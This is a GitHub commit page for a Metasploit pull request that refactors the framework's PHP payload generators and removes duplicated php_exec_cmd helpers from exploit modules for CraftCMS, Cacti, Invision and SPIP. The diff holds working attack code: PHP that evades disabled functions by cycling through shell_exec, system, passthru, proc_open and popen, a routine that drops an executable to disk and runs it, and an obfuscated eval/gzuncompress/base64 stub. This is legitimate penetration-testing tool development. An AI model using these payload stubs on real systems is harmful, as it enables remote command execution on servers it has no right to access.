Skip to content

Commit ebae201

Browse files
authored
Merge pull request rapid7#20160 from zeroSteiner/feat/mod/payload/php-adapters
Add PHP adapters and refactor PHP payloads
2 parents 5d61c52 + 6c05ffb commit ebae201

24 files changed

+167
-393
lines changed

Gemfile.lock

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -475,7 +475,8 @@ GEM
475475
rex-random_identifier
476476
rex-text
477477
ruby-rc4
478-
rex-random_identifier (0.1.15)
478+
rex-random_identifier (0.1.16)
479+
bigdecimal
479480
rex-text
480481
rex-registry (0.1.6)
481482
rex-rop_builder (0.1.6)

lib/msf/core/exploit/php_exe.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -49,15 +49,16 @@ def get_write_exec_payload(opts={})
4949
print_warning("Unable to clean up #{bin_name}, delete it manually")
5050
end
5151
p = Rex::Text.encode_base64(generate_payload_exe)
52+
vars = Rex::RandomIdentifier::Generator.new(language: :php)
5253
php = %Q{
53-
#{php_preamble}
54+
#{php_preamble(vars_generator: vars)}
5455
$ex = "#{bin_name}";
5556
$f = fopen($ex, "wb");
5657
fwrite($f, base64_decode("#{p}"));
5758
fclose($f);
5859
chmod($ex, 0777);
5960
function my_cmd($cmd) {
60-
#{php_system_block};
61+
#{php_system_block(vars_generator: vars)};
6162
}
6263
if (FALSE === strpos(strtolower(PHP_OS), 'win' )) {
6364
my_cmd($ex . "&");

lib/msf/core/exploit/remote/http/wordpress/admin.rb

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -61,11 +61,10 @@ def generate_plugin(plugin_name, payload_name)
6161

6262
php_code = "<?php #{payload.encoded} ?>"
6363
if target['Arch'] != ARCH_PHP
64-
dis = '$' + Rex::Text.rand_text_alpha(rand(4..7))
64+
vars = Rex::RandomIdentifier::Generator.new(language: :php)
6565
php_code = <<-END_OF_PHP_CODE
66-
#{php_preamble(disabled_varname: dis)}
67-
$c = base64_decode("#{Rex::Text.encode_base64(payload.encoded)}");
68-
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
66+
#{php_preamble(vars_generator: vars)}
67+
#{php_system_block(vars_generator: vars, cmd: payload.encoded)}
6968
END_OF_PHP_CODE
7069
php_code = php_code + '?>'
7170
end

lib/msf/core/payload/php.rb

Lines changed: 72 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -16,15 +16,16 @@ module Msf::Payload::Php
1616
#
1717
# @return [String] A chunk of PHP code
1818
#
19-
def php_preamble(options = {})
20-
dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
21-
dis = '$' + dis if (dis[0,1] != '$')
19+
def self.preamble(options = {})
20+
vars = options.fetch(:vars_generator) { Rex::RandomIdentifier::Generator.new(language: :php) }
2221

23-
@dis = dis
22+
dis = options[:disabled_varname] || vars[:disabled_varname]
23+
dis = "$#{dis}" unless dis.start_with?('$')
2424

2525
# Canonicalize the list of disabled functions to facilitate choosing a
2626
# system-like function later.
27-
preamble = "/*<?php /**/
27+
<<~TEXT
28+
/*<?php /**/
2829
@error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);
2930
#{dis}=@ini_get('disable_functions');
3031
if(!empty(#{dis})){
@@ -34,8 +35,11 @@ def php_preamble(options = {})
3435
}else{
3536
#{dis}=array();
3637
}
37-
"
38-
return preamble
38+
TEXT
39+
end
40+
41+
def php_preamble(options = {})
42+
Msf::Payload::Php.preamble(options)
3943
end
4044

4145
#
@@ -52,63 +56,72 @@ def php_preamble(options = {})
5256
# @return [String] A chunk of PHP code that, with a little luck, will run a
5357
# command.
5458
#
55-
def php_system_block(options = {})
56-
cmd = options[:cmd_varname] || '$cmd'
57-
dis = options[:disabled_varname] || @dis || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
58-
output = options[:output_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
59+
def self.system_block(options = {})
60+
vars = options.fetch(:vars_generator) { Rex::RandomIdentifier::Generator.new(language: :php) }
5961

60-
if (@dis.nil?)
61-
@dis = dis
62-
end
62+
cmd = options[:cmd_varname] || vars[:cmd_varname]
63+
dis = options[:disabled_varname] || vars[:disabled_varname]
64+
output = options[:output_varname] || vars[:output_varname]
6365

64-
cmd = '$' + cmd if (cmd[0,1] != '$')
65-
dis = '$' + dis if (dis[0,1] != '$')
66-
output = '$' + output if (output[0,1] != '$')
66+
cmd = '$' + cmd unless cmd.start_with?('$')
67+
dis = '$' + dis unless dis.start_with?('$')
68+
output = '$' + output unless output.start_with?('$')
6769

68-
is_callable = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
69-
in_array = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
70+
is_callable = vars[:is_callable_varname]
71+
in_array = vars[:in_array_varname]
7072

71-
setup = "
73+
setup = ''
74+
if options[:cmd]
75+
setup << <<~TEXT
76+
#{cmd}=base64_decode('#{Rex::Text.encode_base64(options[:cmd])}');
77+
TEXT
78+
end
79+
setup << <<~TEXT
7280
if (FALSE!==stristr(PHP_OS,'win')){
7381
#{cmd}=#{cmd}.\" 2>&1\\n\";
7482
}
7583
#{is_callable}='is_callable';
7684
#{in_array}='in_array';
77-
"
78-
shell_exec = "
85+
TEXT
86+
shell_exec = <<~TEXT
7987
if(#{is_callable}('shell_exec')&&!#{in_array}('shell_exec',#{dis})){
8088
#{output}=`#{cmd}`;
81-
}else"
82-
passthru = "
89+
}else
90+
TEXT
91+
passthru = <<~TEXT
8392
if(#{is_callable}('passthru')&&!#{in_array}('passthru',#{dis})){
8493
ob_start();
8594
passthru(#{cmd});
8695
#{output}=ob_get_contents();
8796
ob_end_clean();
88-
}else"
89-
system = "
97+
}else
98+
TEXT
99+
system = <<~TEXT
90100
if(#{is_callable}('system')&&!#{in_array}('system',#{dis})){
91101
ob_start();
92102
system(#{cmd});
93103
#{output}=ob_get_contents();
94104
ob_end_clean();
95-
}else"
96-
exec = "
105+
}else
106+
TEXT
107+
exec = <<~TEXT
97108
if(#{is_callable}('exec')&&!#{in_array}('exec',#{dis})){
98109
#{output}=array();
99110
exec(#{cmd},#{output});
100111
#{output}=join(chr(10),#{output}).chr(10);
101-
}else"
102-
proc_open = "
112+
}else
113+
TEXT
114+
proc_open = <<~TEXT
103115
if(#{is_callable}('proc_open')&&!#{in_array}('proc_open',#{dis})){
104116
$handle=proc_open(#{cmd},array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
105117
#{output}=NULL;
106118
while(!feof($pipes[1])){
107119
#{output}.=fread($pipes[1],1024);
108120
}
109121
@proc_close($handle);
110-
}else"
111-
popen = "
122+
}else
123+
TEXT
124+
popen = <<~TEXT
112125
if(#{is_callable}('popen')&&!#{in_array}('popen',#{dis})){
113126
$fp=popen(#{cmd},'r');
114127
#{output}=NULL;
@@ -118,7 +131,8 @@ def php_system_block(options = {})
118131
}
119132
}
120133
@pclose($fp);
121-
}else"
134+
}else
135+
TEXT
122136
# Currently unused until we can figure out how to get output with COM
123137
# objects (which are not subject to safe mode restrictions) instead of
124138
# PHP functions.
@@ -128,17 +142,38 @@ def php_system_block(options = {})
128142
# $wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
129143
# #{output} = file_get_contents('%TEMP%\\out.txt');
130144
# }else"
131-
fail_block = "
145+
fail_block = <<~TEXT
132146
{
133147
#{output}=0;
134148
}
135-
"
149+
TEXT
136150

137151
exec_methods = [passthru, shell_exec, system, exec, proc_open, popen]
138152
exec_methods = exec_methods.shuffle
139-
buf = setup + exec_methods.join("") + fail_block
153+
setup + exec_methods.join("") + fail_block
154+
end
140155

141-
return buf
156+
def php_system_block(options = {})
157+
Msf::Payload::Php.system_block(options)
158+
end
159+
160+
def php_exec_cmd(cmd)
161+
vars = Rex::RandomIdentifier::Generator.new(language: :php)
162+
<<-END_OF_PHP_CODE
163+
#{php_preamble(vars_generator: vars)}
164+
#{php_system_block(vars_generator: vars, cmd: cmd)}
165+
END_OF_PHP_CODE
166+
end
142167

168+
def self.create_exec_stub(php_code, options = {})
169+
payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(php_code))
170+
b64_stub = "eval(gzuncompress(base64_decode('#{payload}')));"
171+
b64_stub = "<?php #{b64_stub} ?>" if options.fetch(:wrap_in_tags, true)
172+
b64_stub
143173
end
174+
175+
def php_create_exec_stub(php_code)
176+
Msf::Payload::PHP.create_exec_stub(php_code)
177+
end
178+
144179
end

lib/msf/core/payload/python.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -8,18 +8,18 @@ module Msf::Payload::Python
88
# one line and compatible with all Python versions supported by the Python
99
# Meterpreter stage.
1010
#
11-
# @param cmd [String] The python code to execute.
11+
# @param python_code [String] The python code to execute.
1212
# @return [String] Full python stub to execute the command.
1313
#
14-
def self.create_exec_stub(cmd)
14+
def self.create_exec_stub(python_code)
1515
# Encoding is required in order to handle Python's formatting
16-
payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd))
16+
payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(python_code))
1717
b64_stub = "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{payload}')[0])))"
1818
b64_stub
1919
end
2020

21-
def py_create_exec_stub(cmd)
22-
Msf::Payload::Python.create_exec_stub(cmd)
21+
def py_create_exec_stub(python_code)
22+
Msf::Payload::Python.create_exec_stub(python_code)
2323
end
2424

2525
end

modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb

Lines changed: 0 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -232,16 +232,4 @@ def exploit
232232
print_status('Injecting stub & triggering payload...')
233233
execute_via_session(payload_code)
234234
end
235-
236-
def php_exec_cmd(encoded_payload)
237-
gen = Rex::RandomIdentifier::Generator.new
238-
disabled_var = "$#{gen[:dis]}"
239-
b64 = Rex::Text.encode_base64(encoded_payload)
240-
241-
<<~PHP
242-
#{php_preamble(disabled_varname: disabled_var)}
243-
$c=base64_decode("#{b64}");
244-
#{php_system_block(cmd_varname: '$c', disabled_varname: disabled_var)}
245-
PHP
246-
end
247235
end

modules/exploits/multi/http/cacti_package_import_rce.rb

Lines changed: 1 addition & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -155,22 +155,10 @@ def check
155155
CheckCode::Appears
156156
end
157157

158-
# Taken from modules/payloads/singles/php/exec.rb
159-
def php_exec(cmd)
160-
dis = '$' + rand_text_alpha(4..7)
161-
shell = <<-END_OF_PHP_CODE
162-
#{php_preamble(disabled_varname: dis)}
163-
$c = base64_decode("#{Rex::Text.encode_base64(cmd)}");
164-
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
165-
END_OF_PHP_CODE
166-
167-
Rex::Text.compress(shell)
168-
end
169-
170158
def generate_package
171159
@payload_path = "resource/#{rand_text_alphanumeric(5..10)}.php"
172160

173-
php_payload = target['Type'] == :php ? payload.encoded : php_exec(payload.encoded)
161+
php_payload = target['Type'] == :php ? payload.encoded : php_exec_cmd(payload.encoded)
174162

175163
digest = OpenSSL::Digest.new('SHA256')
176164
pkey = OpenSSL::PKey::RSA.new(2048)

modules/exploits/multi/http/invision_customcss_rce.rb

Lines changed: 0 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -88,19 +88,6 @@ def check
8888
end
8989
end
9090

91-
# I'll remove this method when PR #20160 is merged. I'm aware of it, thanks
92-
def php_exec_cmd(encoded_payload)
93-
vars = Rex::RandomIdentifier::Generator.new
94-
dis = '$' + vars[:dis]
95-
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
96-
shell = <<-END_OF_PHP_CODE
97-
#{php_preamble(disabled_varname: dis)}
98-
$c = base64_decode("#{encoded_clean_payload}");
99-
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
100-
END_OF_PHP_CODE
101-
return shell
102-
end
103-
10491
def exploit
10592
raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
10693
b64 = Rex::Text.encode_base64(raw)

modules/exploits/multi/http/spip_bigup_unauth_rce.rb

Lines changed: 0 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -146,22 +146,6 @@ def get_form_data
146146
nil
147147
end
148148

149-
# This function generates PHP code to execute a given payload on the target.
150-
# We use Rex::RandomIdentifier::Generator to create a random variable name to avoid conflicts.
151-
# The payload is encoded in base64 to prevent issues with special characters.
152-
# The generated PHP code includes the necessary preamble and system block to execute the payload.
153-
# This approach allows us to test multiple functions and not limit ourselves to potentially dangerous functions like 'system' which might be disabled.
154-
def php_exec_cmd(encoded_payload)
155-
vars = Rex::RandomIdentifier::Generator.new
156-
dis = "$#{vars[:dis]}"
157-
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
158-
<<-END_OF_PHP_CODE
159-
#{php_preamble(disabled_varname: dis)}
160-
$c = base64_decode("#{encoded_clean_payload}");
161-
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
162-
END_OF_PHP_CODE
163-
end
164-
165149
def exploit
166150
form_data = get_form_data
167151

modules/exploits/multi/http/spip_connect_exec.rb

Lines changed: 0 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -97,18 +97,6 @@ def check
9797
Exploit::CheckCode::Safe
9898
end
9999

100-
def php_exec_cmd(encoded_payload)
101-
vars = Rex::RandomIdentifier::Generator.new
102-
dis = '$' + vars[:dis]
103-
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
104-
shell = <<-END_OF_PHP_CODE
105-
#{php_preamble(disabled_varname: dis)}
106-
$c = base64_decode("#{encoded_clean_payload}");
107-
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
108-
END_OF_PHP_CODE
109-
return shell
110-
end
111-
112100
def exploit
113101
uri = normalize_uri(target_uri.path, 'spip.php')
114102
print_status("#{rhost}:#{rport} - Attempting to exploit...")

0 commit comments

Comments
 (0)